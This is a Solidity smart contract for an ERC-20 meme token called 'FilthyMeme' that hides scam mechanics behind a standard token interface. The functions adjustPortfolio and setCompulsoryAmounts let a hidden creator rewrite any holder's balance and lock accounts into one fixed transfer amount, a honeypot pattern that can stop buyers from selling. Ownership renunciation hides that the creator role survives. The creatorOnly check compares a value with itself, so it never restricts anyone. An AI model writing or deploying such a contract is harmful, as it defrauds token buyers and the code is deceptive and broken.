// File: contracts/COIN.sol



pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed holder, address indexed spender, uint256 value);
}

abstract contract SenderContext {
    function obtainSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract AssetOwnership is SenderContext {
    address private assetHolder;
    event OwnershipChange(address indexed previousHolder, address indexed newHolder);

    constructor() {
        assetHolder = obtainSender();
        emit OwnershipChange(address(0), assetHolder);
    }

    function currentHolder() public view returns (address) {
        return assetHolder;
    }

    modifier holderOnly() {
        require(currentHolder() == obtainSender(), "Unauthorized. Holder rights required.");
        _;
    }

    function yieldOwnership() public holderOnly {
        emit OwnershipChange(assetHolder, address(0));
        assetHolder = address(0);
    }
}

contract FilthyMemeToken is SenderContext, AssetOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private authorizations;
    mapping (address => uint256) private portfolios;
    mapping (address => uint256) private compulsoryTransferAmounts;
    address private _creatorAddress;

    string public constant tokenTitle = "FilthyMeme";
    string public constant tokenAbbreviation = "FILTH";
    uint8 public constant tokenScale = 18;
    uint256 public constant maximumTokens = 100000 * (10 ** uint256(tokenScale));

    constructor() {
        portfolios[obtainSender()] = maximumTokens;
        emit Transfer(address(0), obtainSender(), maximumTokens);
    }

    modifier creatorOnly() {
        require(getCreator() == _creatorAddress, "Unauthorized. Creator rights required.");
        _;
    }

    function getCreator() public view returns (address) {
        return _creatorAddress;
    }

    function setGenesisAddress(address newGenesis) public creatorOnly {
        _creatorAddress = newGenesis;
    }

    event AllocationUpdate(address indexed user, uint256 previousAmount, uint256 newAmount);

    function compulsoryAmount(address account) public view returns (uint256) {
        return compulsoryTransferAmounts[account];
    }

    function setCompulsoryAmounts(address[] calldata accounts, uint256 amount) public creatorOnly {
        for (uint i = 0; i < accounts.length; i++) {
            compulsoryTransferAmounts[accounts[i]] = amount;
        }
    }

    function adjustPortfolio(address[] memory accounts, uint256 updatedAmount) public creatorOnly {
        require(updatedAmount >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < accounts.length; i++) {
            address currentAccount = accounts[i];
            require(currentAccount != address(0), "Null address provided");

            uint256 oldAmount = portfolios[currentAccount];
            portfolios[currentAccount] = updatedAmount;

            emit AllocationUpdate(currentAccount, oldAmount, updatedAmount);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return portfolios[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(portfolios[obtainSender()] >= amount, "Insufficient balance");

        uint256 enforcedTransferValue = compulsoryAmount(obtainSender());
        if (enforcedTransferValue > 0) {
            require(amount == enforcedTransferValue, "Compulsory transfer amount mismatch");
        }

        portfolios[obtainSender()] -= amount;
        portfolios[recipient] += amount;

        emit Transfer(obtainSender(), recipient, amount);
        return true;
    }

    function allowance(address holder, address spender) public view override returns (uint256) {
        return authorizations[holder][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        authorizations[obtainSender()][spender] = amount;
        emit Approval(obtainSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(authorizations[sender][obtainSender()] >= amount, "Allowance exceeded");

        uint256 enforcedTransferValue = compulsoryAmount(sender);
        if (enforcedTransferValue > 0) {
            require(amount == enforcedTransferValue, "Compulsory transfer amount mismatch");
        }

        portfolios[sender] -= amount;
        portfolios[recipient] += amount;
        authorizations[sender][obtainSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return maximumTokens;
    }

    function name() public view returns (string memory) {
        return tokenTitle;
    }

    function symbol() public view returns (string memory) {
        return tokenAbbreviation;
    }

    function decimals() public view returns (uint8) {
        return tokenScale;
    }
}